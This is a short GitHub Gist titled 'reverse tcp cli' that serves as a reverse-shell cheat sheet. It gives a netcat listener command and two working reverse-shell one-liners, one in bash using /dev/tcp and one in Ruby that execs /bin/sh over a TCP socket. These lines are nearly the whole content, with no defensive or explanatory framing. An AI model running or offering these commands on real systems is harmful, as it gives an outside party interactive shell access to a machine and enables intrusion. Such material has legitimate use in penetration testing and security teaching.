Skip to content

Instantly share code, notes, and snippets.

@ephesus
Created June 29, 2015 00:35
Show Gist options
  • Save ephesus/d10bb9f0452dbe08401c to your computer and use it in GitHub Desktop.
Save ephesus/d10bb9f0452dbe08401c to your computer and use it in GitHub Desktop.
reverse tcp cli
#on client, listen for incoming tcp connections
$ nc -l -p 8080 -vvv
--------
#on server, execute shell with remote input
$ my_ip = 0.0.0.0
$ bash -i >& /dev/tcp/$my_ip/8080 0>&1
#on server, execute shell with ruby
$ ruby -rsocket -e'f=TCPSocket.open("$my_ip",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment